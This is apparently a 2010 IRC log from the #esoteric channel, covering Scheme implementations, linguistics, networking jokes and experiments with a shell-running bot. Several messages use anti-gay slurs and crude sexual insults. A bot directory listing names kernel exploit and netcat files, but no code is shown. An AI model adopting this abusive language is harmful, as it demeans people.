02:30:37 <Gregor> Sorry, I've had ... dealings ... with some of the major PLT Scheme folks.
02:30:57 <Sgeo> Yeah, um, right now I'm more focused on the language than the communuty
02:31:08 <pikhq> Definitely MIPS.
02:31:17 * Sgeo has already downloaded PLT
02:31:30 <Gregor> I'm not referring to the community, I'm referring to the developers.
02:51:45 -!- angstrom has left (?).
03:06:13 -!- augur has joined.
03:31:33 <Quadrescence> Sgeo: NO
03:31:35 <Quadrescence> Not plt
03:31:42 <Quadrescence> Gregor is right
03:31:44 <Sgeo> Quadrescence, why not?
03:32:01 <Quadrescence> And I have the authority to say this since I am on both Scheme standards committees
03:32:13 <Gregor> Pretentious Little Troglodytes ...
03:32:25 <Quadrescence> Yeah
03:32:40 <Sgeo> So the people suck. Who cares?
03:32:47 <Quadrescence> Sgeo: Go with Chicken Scheme or Chibi Scheme if you want more or less friendly, general purpose use
03:32:59 <Quadrescence> Ikarus or Larceny for fast-code-generating compilers
03:34:08 <Sgeo> Is there a reason other to, other than the devs being obnoxious?
03:43:02 <pikhq> Well, Chicken Scheme has a very cool implementation.
03:48:25 <Sgeo> Howso?
03:49:08 <Sgeo> Ok, is this infix convention a PLT thing, or a Scheme thing?
03:50:03 <pikhq> It compiles everything using continuation-passing style into C (without TCO), and uses the C stack as a generation in the Scheme heap.
03:50:52 <pikhq> When the C stack is about to overflow, it longjmps to the trampoline, which copies live objects on the stack into the heap, and then goes back to the Scheme program in process.
03:53:05 <Quadrescence> Sgeo: Yes there are reasons
03:53:47 <Quadrescence> Sgeo: Anyway I'm sure you just love the gui of dr scheme or something and that's the reason you're not motivated to change
03:56:43 <Sgeo> Quadrescence, ok, what are these reasons?
03:57:12 <Gregor> TOO EVIL TO MENTION
03:57:36 <Quadrescence> Sgeo: I don't really feel like justifying it to you
03:57:51 <Quadrescence> You can either take the money I'm giving you, or continue to question if the money is real and not take it.
03:58:16 <Sgeo> This seems... familiar
03:58:43 <Quadrescence> I couldn't explain to you because you don't know scheme.
03:58:47 <Sgeo> Are you going to supposedly torture me if I don't take the "money"?
03:58:49 <Quadrescence> You don't know its idioms.
03:59:02 <Quadrescence> You don't know how compiling it works, you don't know how interpreting it works.
03:59:14 <Quadrescence> You don't know what macro expansion is, you probably don't even know the evaluation semantics
03:59:33 -!- oklokok has quit (Remote host closed the connection).
03:59:51 <Quadrescence> So why should I bother taking 384 hours explaining the faults of PLT Scheme to you relative to the language at hand when you don't know anything about it except it uses a fuckton of parentheses?
04:03:59 -!- oerjan has joined.
04:05:58 <oerjan> <Slereah> The notation is pretty old school
04:06:15 <oerjan> understatement of the year? (no i've never seen it, i think)
04:10:06 -!- oklokok has joined.
04:11:36 <oerjan> 18:04:18 <Quadrescence> All haskelletons are the same
04:11:36 <oerjan> 18:04:35 <pikhq> ... Morphisms on the category Hask?
04:11:46 <oerjan> on the skeleton category of Hask, naturally
04:11:54 <pikhq> Well, of course.
04:13:00 <Quadrescence> With a pullback on the foreskin of my cock lifted into YourAss hole monad
04:13:51 <Sgeo> Are keywords a Scheme thing or a PLT thing?
04:14:05 <oerjan> Quadrescence: that's a really remarkable combination of offense and category theory
04:14:09 <Quadrescence> Sgeo: PLT thing surely
04:14:40 <Quadrescence> Sgeo: I told you to not use it, because now you're turning stupider and stupider about scheme
04:14:44 <oerjan> also a common lisp thing iirc
04:14:54 <Quadrescence> they are not keywords
04:15:53 <pikhq> Keywords? Scheme?
04:16:06 <pikhq> What craziness is this?
04:16:11 <Quadrescence> PLT's
04:16:18 -!- augur has quit (Ping timeout: 245 seconds).
04:16:20 <Quadrescence> But Sgeo insists on PLT
04:20:55 -!- oklokok has quit (Read error: Operation timed out).
04:21:41 -!- oklokok has joined.
05:51:46 -!- augur has joined.
06:04:54 <augur> sp bitches
06:13:43 -!- oerjan has quit (Quit: leaving).
06:14:33 -!- lifthrasiir has quit (Ping timeout: 240 seconds).
06:17:19 <lament> Quadrescence: people who hate PLT
06:19:58 -!- dev_squid has quit (Ping timeout: 264 seconds).
06:20:28 <Sgeo> Quadrescence, if I switch DrScheme to R5RS, will we both be happy?
06:21:19 <Quadrescence> I'm happy. I won't feel bad for you being attached to the GUI and Fisher Price My First Programming Language tutorials.
06:22:31 <augur> i like drscheme
06:22:50 <lament> Quadrescence: you seem quite attached to Fisher Price My First Metaphors
06:22:58 <Quadrescence> Yeah I am
06:23:00 <Quadrescence> Two channels so far
06:23:09 <Quadrescence> Third time'll be the charm
06:23:21 <lament> also, people who hate PLT
06:23:32 <lament> are the same people who don't shower
06:23:44 -!- dev_squid has joined.
06:23:53 <augur> and who stab babies
06:23:57 -!- lifthrasiir has joined.
06:24:13 <Quadrescence> lament: yeh
06:25:58 <lament> for example, this guy clearly hates PLT, just look at his printer: http://www.gearfuse.com/wp-content/uploads/2007/10/nerd.jpg
06:27:08 <pikhq> Also UNIX beards.
06:27:14 * pikhq strokes his UNIX beard
06:27:37 <pikhq> It's both a fashion accessory *and* a way of detracting ladies!
06:29:20 * Gregor strokes his lack of facial hair.
06:40:33 -!- coppro has joined.
07:02:42 -!- Asztal has joined.
07:09:40 <Sgeo> (procedure? procedure?)
07:12:44 -!- oklokok has quit (Read error: Operation timed out).
07:13:44 <augur> PROC
07:13:45 <augur> PROC
07:17:23 -!- oklokok has joined.
07:24:50 <Sgeo> According to R5RS, "w" is a semivowel
07:26:52 <coppro> Oo
07:26:59 <coppro> why does that matter? (I know nothing of Scheme)
07:27:39 <Sgeo> It doesn't. It was just in an example
07:27:43 <coppro> ah
07:27:48 <coppro> anyways, maybe they're Welsh?
07:33:33 <Gregor> "w" is to "oo" (as in tool) as "t" is to "s"
07:34:12 <Gregor> Being effectively a plosive makes it usable only as a consonant (it can't be held like a vowel), but it is fundamentally produced as a vowel sound.
07:37:12 <augur> HAY GUYS
07:37:18 <augur> WANNA KNOW ABOUT A COOL GRAMMAR FORMALISM?
07:37:19 <augur> 8D
07:37:35 <augur> also, w is indeed a semi vowel.
07:37:43 <augur> semivowel is another word for glide.
07:38:02 <coppro> Yeah, you lost me
07:38:06 <coppro> linguistics is not a long suit
07:39:59 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:40:06 <Gregor> "glide" is the word I couldn't find there.
07:40:45 <Gregor> Glides are to vowels as plosives are to fricatives.
07:40:51 <Gregor> (Roughly speaking)
07:45:48 <coppro> yeah, only one of those words carries any meaning to me
07:47:54 <Gregor> Poor pooppy :P
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:02 -!- cheater2 has quit (Read error: Connection reset by peer).
08:02:28 -!- cheater2 has joined.
08:09:16 -!- dev_squid has quit (Ping timeout: 276 seconds).
08:19:34 -!- coppro has quit (Ping timeout: 268 seconds).
08:20:20 <augur> so Gregor
08:20:26 <augur> about these range concatenation grammars
08:20:36 <augur> they're basically a bunch of prolog predicates, in many ways
08:20:51 <augur> only instead of having the values true or false, or whatever
08:20:57 <augur> they have string values
08:21:08 <augur> where "true" is the empty string
08:24:19 -!- MigoMipo has joined.
08:26:16 -!- coppro has joined.
08:27:06 <augur> hey coppro
08:27:14 <augur> wanna learn about range concatenation grammars? :D
08:38:23 -!- kar8nga has joined.
08:47:42 <Sgeo> (display "Good night all")
08:50:24 <augur> night you
09:00:29 -!- MigoMipo has quit (Remote host closed the connection).
09:03:18 -!- MigoMipo has joined.
09:07:33 -!- tombom has joined.
09:59:05 -!- kar8nga has quit (Remote host closed the connection).
10:24:13 -!- oklokok has quit (Ping timeout: 264 seconds).
10:39:58 <Quadrescence> [02:26.50] <augur> wanna learn about range concatenation grammars? :D
10:39:59 <Quadrescence> hahaha
10:52:53 -!- alise has joined.
10:53:08 <alise> yo
10:56:05 <alise> 19:32:01 <Quadrescence> And I have the authority to say this since I am on both Scheme standards committees
10:56:10 <alise> including r6rs?
10:56:17 <alise> you are a horrible person
10:56:22 <Quadrescence> No, the current standards
10:56:55 <Quadrescence> The small scheme and big scheme, in development
10:57:25 <alise> you are still a horrible person :p
10:57:54 -!- oklokok has joined.
10:57:55 <Quadrescence> Why?
10:59:58 <alise> i am typing while walking down srfarirs
11:00:30 <alise> HD got parked for ages
11:00:49 <Quadrescence> what
11:01:01 -!- alise_ has joined.
11:01:11 <alise_> Quadrescence: cuz I'm an r5rs fanboi
11:01:35 <Quadrescence> Me too
11:01:48 <Quadrescence> Which is why the plan is to ditch r6rs entirely
11:02:30 <alise_> yeah, but "big scheme" is still a fundamental misunderstanding
11:02:32 <alise_> imo :P
11:02:40 <alise_> but then I'm even worse than a haskell fag, I'm a dependent-types fag
11:03:19 <alise_> I get to be holier-than-thou in both programming (to... everyone else) and logic (to everyone (well I think there's about 3 other constructivists in the world so))
11:03:44 <Quadrescence> alise_: Actually I am a dependent type fag too
11:03:52 <alise_> Sweet! Let's procreate.
11:04:00 <Quadrescence> wow okay are you hot?
11:04:06 <alise_> (Note: I am actually male.)
11:04:20 <alise_> (If you have been mislead, this was entirely intentional. Have a nice day!)
11:04:22 <Quadrescence> (me too, doesn't mean we can't procreate, right?)
11:04:23 -!- MigoMipo has quit (Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net).
11:04:49 <alise_> (is it technically procreation?)
11:04:52 -!- alise has quit (Ping timeout: 252 seconds).
11:05:16 <Quadrescence> (depends on how procreation occurs)
11:05:28 <alise_> I appear to be fulfilling my prophecy that once I obtain a laptop, I will never turn it off while moving.
11:05:29 <alise_> NEVER
11:05:36 <alise_> Admittedly it turns out the 3G reception is pretty shitty in taxis
11:06:16 <oklokok> wait now quad is here?
11:06:36 <alise_> Quadrescence: ok then maybe you'll hate me more for the fact that I'm an everything-in-computing-is-broken-and-my-system-that-breaks-every-existing-thing-will-make-it-right charlatan
11:06:43 <Quadrescence> oklokok: I made this channel
11:07:03 <Quadrescence> alise_: i don't get it
11:07:36 <alise_> Quadrescence: now I'm doubting whether you're actually on the committee :)
11:07:47 <Quadrescence> alise_: My name is Robert Smith
11:07:50 <Quadrescence> Go look it up
11:08:44 <alise_> now that depends on me trusting your claim "My name is Robert Smith", which amounts to exactly the same trust issue :)
11:08:48 <alise_> also, what bit don't you get?
11:08:54 <Quadrescence> the whole thing
11:09:22 <alise_> ok, what error message did your mind spit back?
11:09:32 <alise_> this is like "I tried (f x2) and it didn't work"
11:09:52 <Quadrescence> are you saying all current systems are not optimal for computing?
11:10:00 <Quadrescence> systems => programming languages
11:10:05 <Quadrescence> computing => programming
11:10:31 <alise_> system = language/OS/interface/everything
11:10:35 <alise_> they're broken at every level
11:10:49 <Quadrescence> Theoretically or practically?
11:11:16 <Quadrescence> If you say theoretically, this conversation will have become uninteresting
11:11:37 <alise_> `well, theoretically yes, but practically mostly
11:11:41 <HackEgo> No output.
11:12:03 <alise_> Quadrescence: i.e. some things I've invested theoretically
11:12:05 <alise_> but the motivation is wholly practical means
11:12:23 <alise_> not that the resulting system is /practical/ since its sheer novelty means that... nothing existing works pretty much
11:12:46 <Quadrescence> Okay, so do you think there can be a much, much better programming language?
11:12:53 <Quadrescence> (let us not talk about OSes and stuff)
11:13:13 <alise_> Well, that's the thing: I make no distinction between the running language environment (think Smalltalk) and the OS.
11:13:24 <alise_> But if you mean the actual little snippets of code at the bottom...
11:13:29 <alise_> "Maybe". Much, much better than C? Hell yes.
11:13:33 <alise_> Than Scheme? Sure.
11:13:58 <Quadrescence> Than Fagskell?
11:13:59 <alise_> Than Agda, say (although it has many foibles) or Epigram? Not much, much, *much* better. Not for humans, at least.
11:14:01 <alise_> That's all speculation though and I'll probably be proved wrong.
11:14:10 <alise_> Quadrescence: Well let's not get into that :P
11:14:16 <Quadrescence> You will be proved wrong
11:14:30 <alise_> yes, likely
11:14:34 <alise_> what i'm trying to say is
11:14:35 <Quadrescence> Certainly
11:14:43 <alise_> i cannot /imagine/ a much, much, *much* better language than those
11:14:45 <alise_> much, much better sure
11:14:48 <Quadrescence> I can.
11:14:49 <alise_> imagine but not specify ofc
11:14:53 <Quadrescence> And I mean that seriously.
11:14:58 <alise_> what is it, Forth? :-)
11:15:02 <Quadrescence> Hahaha
11:15:05 <Quadrescence> No.
11:15:11 <Quadrescence> I am in the process of designing it now.
11:15:14 <alise_> INTERCAL?
11:15:20 <alise_> Quadrescence: oh R7RS?
11:15:23 <Quadrescence> No
11:15:25 <Quadrescence> Definitely not
11:15:32 <alise_> what, then?
11:15:36 <Quadrescence> This is my own project.
11:15:49 <alise_> let me just say that I'm doubtful your language designing skills so greatly exceeds those of every other language designer in the history of the universe :P
11:16:05 <alise_> *exceed
11:16:07 <Quadrescence> That's fine.
11:16:18 <alise_> also, IRCing in a taxi, doo doo doo. god dammit a corner, doo doo AAAAAAAAAH
11:16:20 <Quadrescence> But if I stand on their shoulders, then I can still reach higher
11:16:30 <alise_> i guess this is why people use the suspend feature on laptops
11:16:34 <alise_> Quadrescence: okay fine
11:16:44 <alise_> Quadrescence: you probably still want it stored as utf-8 text in files on posix though
11:16:44 <Quadrescence> but I still see what you mean
11:16:48 <alise_> FOR WHICH YOU ARE ABOMINABLE
11:16:58 <Quadrescence> what
11:17:04 <alise_> what what?
11:17:09 <Quadrescence> The language is being specified purely theoretically first.
11:17:21 <alise_> Yes, with a syntax based on streams of characters.
11:17:40 <alise_> And as running-as-a-process rather than living-environment (think Smalltalk in the 70s when it was actually the OS)
11:18:09 <alise_> (Note: Most "AST editing nao! ASCII code sux!" people are blowhards without a coherent idea for a good interface. Please do not count me among them, lest I be sad.)
11:18:09 <Quadrescence> what? It can run as an environment
11:18:28 <alise_> Quadrescence: ok, so you don't define "program"? as in a cmplete "module" of code?
11:18:45 <alise_> in an environment I guess you could say all values are part of one gigantic program, but...
11:18:48 <alise_> *complete
11:18:57 <alise_> (module not as in module system)
11:18:58 <Quadrescence> I know the distinction you're making
11:19:01 <Quadrescence> I know
11:19:08 <alise_> alright
11:19:22 <oklokok> "Quadrescence: Okay, so do you think there can be a much, much better programming language?" <<< have you heard of clue?
11:19:33 <Quadrescence> Yes
11:19:34 <alise_> oklokok: no, oklotalk!
11:19:36 <alise_> oklotalkclue
11:19:44 <oklokok> oh you have
11:19:50 <oklokok> oh hmm right
11:19:51 <alise_> you've abandoned oklotalk and this makes me ensaddened
11:19:58 <alise_> EN
11:20:00 <alise_> SADD
11:20:00 <alise_> ENED
11:20:09 <oklokok> i'm sorry, it got out of hand
11:20:18 <alise_> that's what she said
11:20:22 <Quadrescence> in bed
11:20:33 <oklokok> was she holding my cock but it slipped
11:21:06 <alise_> oklokok: precisely
11:21:09 <alise_> because it's so small you understand
11:21:21 <alise_> note: using laptops in cars makes you carsick
11:21:26 <alise_> or, me, at least
11:21:28 <oklokok> no it doesn't
11:21:46 <alise_> does for me
11:21:54 <AnMaster> <pikhq> cpressey: File systems make data sharing difficult. <-- if I understood that convo correctly, cpressy was saying that hg can't share common data between branches? That seems strange. bzr for example is fully capable to do so if you want it.
11:21:57 <alise_> i am living proof right now
11:21:58 <oklokok> ONLY WEAKLINGS GET CARSICK
11:22:14 <AnMaster> hm hardlinks only work within a single file system
11:22:26 <AnMaster> bzr doesn't depend on that for it to work
11:23:20 <AnMaster> and yes bzr can if you use a "shared repo" for the branches figure out that thing when cloning related (or the same) remote branch
11:23:24 -!- alise has joined.
11:23:31 <alise> 3G -> enter city -> GPRS
11:23:36 <alise> Civilisation!
11:23:41 <AnMaster> alise, that seems backwards indeed!
11:23:51 <AnMaster> and nowdays you don't need a shared repo for data sharing when doing local clones
11:24:13 <oklokok> can someone link me directly to today's log, it'll take me ages to get there
11:24:19 <oklokok> oh!
11:24:21 <oklokok> finally, nm
11:24:27 <alise> http://tunes.org/~nef/logs/esoteric/10.03.06
11:24:36 <alise> lol we hit a bump when I was cpoying
11:24:40 <alise> so I bashed the keys randomly
11:24:42 <alise> *copying
11:24:54 <AnMaster> (you need to provide some option to bzr branch for that to happen for the latter situation)
11:25:10 <alise> see you guys for a bit
11:25:19 <AnMaster> alise, cya
11:25:35 <AnMaster> alise, also, doesn't roaming work between 3G and GPRS?
11:25:48 <AnMaster> seems backwards if it doesn't hm
11:26:11 <oklokok> in my dream, two people told me almost the same thing in pm almost simultaneously, and i tried to cp it to both of them to ask for their explanations, but accidentally cp's a thousand lines of o's on one query window, and couldn't see my keyboard anymore, so i couldn't stop it. what a horrible nightmare.
11:26:27 <oklokok> *cp'd
11:26:30 -!- alise_ has quit (Ping timeout: 252 seconds).
11:29:26 -!- alise has quit (Ping timeout: 252 seconds).
11:32:03 <oklokok> o
11:32:03 <oklokok> o
11:32:04 <oklokok> o
11:32:04 <oklokok> o
11:32:04 <oklokok> o
11:32:04 <oklokok> o
11:32:04 <oklokok> o
11:32:04 <oklokok> o
11:32:05 <oklokok> o
11:32:06 <oklokok> o
11:32:06 <oklokok> o
11:32:06 <oklokok> o
11:32:22 <oklokok> ^ a small-scale version of what it'd look like
11:59:40 -!- BeholdMyGlory has joined.
12:04:16 <AnMaster> oklokok, strange one
12:45:19 -!- oerjan has joined.
12:51:50 -!- zzo38 has joined.
12:52:36 -!- zzo38 has quit (Remote host closed the connection).
13:09:34 -!- kar8nga has joined.
13:22:42 -!- MigoMipo has joined.
13:25:32 -!- MizardX has joined.
13:33:18 <oklokok> when i was a kid i always thought i'd be in big trouble if i dropped into a well or something, because crying for help would be so cliche i couldn't do it
13:34:18 <oerjan> just as well you never realized breathing is a cliche
13:34:31 <oerjan> *whoops*...
13:35:25 <oklokok> i'd play dead but it'd take weeks on irc, so i'll just say "luckily people don't notice it so it doesn't matter"
13:35:41 <oerjan> oh well
13:37:46 <oklokok> now i kinda wish i'd played dead.
13:37:53 <oklokok> that would've been so cool
13:38:38 <oerjan> dead people are generally cool. it's that lack of metabolism.
13:41:15 -!- kar8nga has quit (Remote host closed the connection).
13:41:26 <oklokok> :D
13:41:36 <oklokok> seriously man
13:43:06 <oerjan> i'm serious. it's a very grave matter.
13:43:54 <oklokok> no i mean you're seriously funny, or maybe i'm just abnormally high on life today
13:44:17 <oklokok> tbh it feels like an awesome idea to jump out of the window naked
13:44:20 <oklokok> just second floor
13:45:00 <oerjan> pro tip: make sure the door isn't locked first
13:45:19 <oklokok> :D
13:45:28 <oklokok> well i could put the keys in my meat pockets
13:45:59 <oklokok> running outside naked is awesome, but i'm too chicken to ever actually do it
13:45:59 <oerjan> ...in which it is revealed that oklokok is actually a kangaroo.
13:46:09 <oklokok> !
14:14:38 <oklokok> freecell is a fun game
14:14:39 -!- scarf has joined.
14:17:07 <oklokok> i was just told i'm the preferred candidate for a summer job about cellular automata, but i will probably not be chosen because of bureaucratical reasons :)
14:28:18 <scarf> heh, seems typical
14:29:44 <oklokok> actually not even just bureaucratical, but also political reasons
14:31:22 <oerjan> cellular automata are communist!
14:31:41 <oklokok> they usually take people who are currently doing their master's degree, which i only start @ fall, and the prof X whose position this is will probably take another prof Y's student, because Y took X's student last year
14:33:32 <oklokok> i'm so unlucky, first the cellular automata, formal languages, graph theory and tilings and patterns (tm's in tiles) courses are all given just before i realize i should switch to math, and then the CA prof takes a student for a summer job just before i start my master's :<
14:34:15 <oklokok> if only i'd born on a different year of the cycle
14:34:19 <oklokok> beenm
14:34:22 <oklokok> *been
14:34:22 <Quadrescence> oklokok: What was your BS in?
14:34:47 <oklokok> i haven't finished it yet, but it's in the it dep and it's about fully polynomial approximations to knapsack
14:35:01 <Quadrescence> PM me
14:35:31 <oklokok> that's another thing, i'm not officially a math student yet
14:36:49 <oklokok> actually now i'm wondering what BS is short for exactly
14:36:56 <oklokok> bachelor's ...?
14:40:37 <Quadrescence> Bachelor of Science
14:46:33 <oklokok> oh!
14:46:48 <oklokok> maybe i should've known
15:19:03 -!- jcp has joined.
15:43:41 -!- FireFly[DS] has joined.
15:52:33 <scarf> `define cajole
15:52:39 <HackEgo> * wheedle: influence or urge by gentle urging, caressing, or flattering; "He palavered her into going along" \ [13]wordnetweb.princeton.edu/perl/webwn \ * To encourage or persuade by effort; to coax
16:36:47 -!- FireyFly[DS] has joined.
16:36:50 -!- FireFly[DS] has quit (Read error: Connection reset by peer).
16:39:37 -!- FireyFly[DS] has quit (Client Quit).
16:54:34 -!- sebbu2 has joined.
16:55:17 -!- sebbu has quit (Ping timeout: 260 seconds).
16:55:17 -!- sebbu2 has changed nick to sebbu.
17:19:28 -!- oerjan has quit (Quit: Good night).
17:56:44 <uorygl> This exists: "Mooix: Where unix is the MOO."
17:56:55 <uorygl> This does not exist: "InterMOO: Where the Internet is the MOO."
17:57:39 <uorygl> So, I might change that.
17:58:01 <AnMaster> uorygl, is that based on some meme?
17:58:26 <AnMaster> uorygl, also should be moonet
17:58:26 <uorygl> It's not a snowclone as far as I know.
17:58:43 <AnMaster> uorygl, snowclone?
17:59:01 <uorygl> A snowclone is a meme based on a phrase.
17:59:12 <uorygl> Like "X is the new Y".
18:01:34 <uorygl> Calling it Moonet would continue the Mooix pattern, but I don't want to do that.
18:02:04 <uorygl> "Internet" was originally an adjective meaning "between the nets"; we can pretend "InterMOO" was originally an adjective meaning "between the MOOs".
18:03:34 <scarf> an internet is a network of network
18:03:35 <scarf> *networks
18:03:43 <scarf> and contrary to popular belief, there is more than one internt
18:03:46 <scarf> *internet
18:03:50 <scarf> just, only one of them is big and famous
18:04:01 <scarf> and that's the one that's called "the Internet"
18:04:23 <uorygl> Arguably, there are two of them that are called the Internet: the Internet version 4 and the Internet version 6.
18:04:34 <fizzie> "inert net".
18:04:58 <uorygl> A net made out of glass would be a pretty inert net.
18:05:47 <scarf> uorygl: umm, IPv4 is "Internet Protocol version 4"
18:06:05 <scarf> and the bits of the Internet that use version 4 and version 6 of the protocol are definitely connected togetgher
18:06:07 <scarf> *together
18:06:09 <scarf> so form one internet
18:06:45 <Gregor> Intern-net
18:07:05 <Gregor> (If Clinton had invented it instead of Gore)
18:07:16 <uorygl> So, if the Internet Protocol was developed to transfer data between the nets, does that mean that a protocol developed to transfer stuff between the Internet version 4 and the Internet version 6 is an Interinternet Protocol? :P
18:07:22 <fizzie> AnMaster: Your comments on the FRTH fingerprint made me want to write something in Forth. You should be ashamed of yourself.
18:09:00 <uorygl> Anyway, an InterMOO protocol would be based on an RPC protocol.
18:09:20 <pikhq> uorygl: IPv4 Internet and IPv6 Internet are linked.
18:09:25 <pikhq> Thus, what we have is an InterInternet.
18:10:14 <pikhq> (IIRC, they're linked through various forms of tunneling, as well as hosts being on both)
18:10:26 <uorygl> Hmm, maybe an RPC protocol is actually the sole thing we need.
18:10:30 <Gregor> The tunneling is only possible due to the hosts that are on both :P
18:11:13 <uorygl> Thank goodness for 192.88.99.1!
18:12:06 <uorygl> And what's that one DNS server anycast address? 4.3.2.1?
18:14:04 <Gregor> 4.2.2.1
18:14:22 <Sgeo> What about 8.8.8.8 ?
18:14:27 <scarf> different servers
18:15:56 <AnMaster> fizzie, hah
18:29:29 <Gregor> uorygl: How much MOO would a moo-cow moo if a moo-cow would moo MOO?
18:29:59 <uorygl> If it's my MOO, then about a hundred megabytes of it.
19:12:26 -!- jcp has quit (Read error: Connection reset by peer).
19:13:33 -!- jcp has joined.
19:16:05 -!- MizardX- has joined.
19:18:09 -!- MizardX has quit (Ping timeout: 260 seconds).
19:18:34 -!- MizardX- has changed nick to MizardX.
19:23:31 <Sgeo> I want to like Scheme
19:25:07 <AnMaster> that's a strange thing to say
19:25:31 <oklokok> o-qo-do.oo-qp-oo.ob-op-o
19:26:50 <uorygl> `yes
19:26:51 <HackEgo> y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y
19:27:16 <oklokok> `no
19:27:17 <HackEgo> No output.
19:27:26 <uorygl> `No output.
19:27:27 <HackEgo> No output.
19:27:30 <oklokok> `cool
19:27:32 <HackEgo> No output.
19:27:33 <uorygl> Almost a quine.
19:27:43 <oklokok> ``
19:27:45 <HackEgo> No output.
19:28:29 <AnMaster> hm
19:28:42 <AnMaster> `ls
19:28:44 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16443 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
19:28:50 <AnMaster> uorygl, does that explain it ;P
19:29:04 <AnMaster> huh
19:29:10 <AnMaster> `file wun*
19:29:12 <HackEgo> wun*: ERROR: cannot open `wun*' (No such file or directory)
19:29:13 <AnMaster> hm
19:29:15 <AnMaster> `run file wun*
19:29:16 <HackEgo> wunderbar_emporium: directory \ wunderbar_emporium-3.tgz: gzip compressed data, from Unix, last modified: Fri Aug 14 14:01:51 2009 \ wunderbar_emporium-3.tgz.1: gzip compressed data, from Unix, last modified: Fri Aug 14 14:01:51 2009
19:29:22 <AnMaster> `help
19:29:23 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:29:46 <AnMaster> `run tar tf wunderbar_emporium-3.tgz
19:29:47 <HackEgo> wunderbar_emporium/ \ wunderbar_emporium/pwnkernel.c \ wunderbar_emporium/tzameti.avi \ wunderbar_emporium/wunderbar_emporium.sh \ wunderbar_emporium/exploit.c
19:29:52 <AnMaster> huh
19:30:42 <uorygl> `echo `echo
19:30:43 <HackEgo> `echo
19:30:50 <uorygl> So a quine is possible.
19:30:58 <oklokok> it is?
19:31:05 <uorygl> Yep.
19:31:13 <oklokok> at least there's a sequence of programs that approaches a quine
19:31:55 -!- kar8nga has joined.
19:32:21 <uorygl> `yes `echo
19:32:22 <HackEgo> `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo \ `echo
19:32:35 <uorygl> `yes `yes
19:32:36 <HackEgo> `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes \ `yes
19:32:50 <uorygl> That's not going to work.
19:33:03 <oklokok> `yes \ `yes
19:33:04 <HackEgo> \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \ \ `yes \
19:33:12 <oklokok> what's `yes
19:33:22 <Deewiant> man 1 yes
19:33:34 <uorygl> `yes is a command that outputs its input forever.
19:33:35 <HackEgo> is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever. \ is a command that outputs its input forever.
19:33:44 <uorygl> So if it weren't for those darn line breaks...
19:34:19 <Gregor> If it wasn't for those darn line breaks then what ...?
19:34:32 <AnMaster> `run yes is a command that outputs its input forever. | head -n1
19:34:33 <HackEgo> is a command that outputs its input forever.
19:34:36 <AnMaster> hm
19:34:38 <uorygl> Never mind.
19:34:42 <AnMaster> uorygl, any bash quine should work
19:34:54 <AnMaster> if you can add `run to the start of it
19:35:03 <AnMaster> `run echo "$0"
19:35:05 <HackEgo> /bin/bash
19:35:10 <AnMaster> `run echo "$@"
19:35:11 <HackEgo> No output.
19:35:14 <uorygl> `run :(){ echo blah }; :; :; :
19:35:15 <HackEgo> No output.
19:35:26 <AnMaster> Gregor, how is bash invoked for `run?
19:35:26 <uorygl> Oi.
19:35:43 <Gregor> AnMaster: IIRC, it's just that the run shell script does "$@"
19:35:46 <uorygl> `run foo(){ echo blah}; foo
19:35:47 <HackEgo> No output.
19:35:56 <AnMaster> Gregor, huh?
19:36:04 <AnMaster> Gregor, does it use bash -c or what?
19:36:09 <Deewiant> `run foo(){ echo foo }; foo; echo bar
19:36:11 <HackEgo> No output.
19:36:11 <uorygl> Why not it work?
19:36:11 <Gregor> AnMaster: run is a bash script
19:36:14 <Gregor> AnMaster: It just does "$@"
19:36:16 <AnMaster> `type run
19:36:18 <HackEgo> No output.
19:36:21 <AnMaster> `run type run
19:36:22 <HackEgo> No output.
19:36:26 <uorygl> `run dog run
19:36:27 <HackEgo> No output.
19:36:27 <AnMaster> `run ls */*run*
19:36:29 <HackEgo> bin/runfor
19:36:30 <Deewiant> `run 'foo(){ echo foo }; foo; echo bar'
19:36:32 <HackEgo> No output.
19:36:41 <AnMaster> Gregor, where is the script?
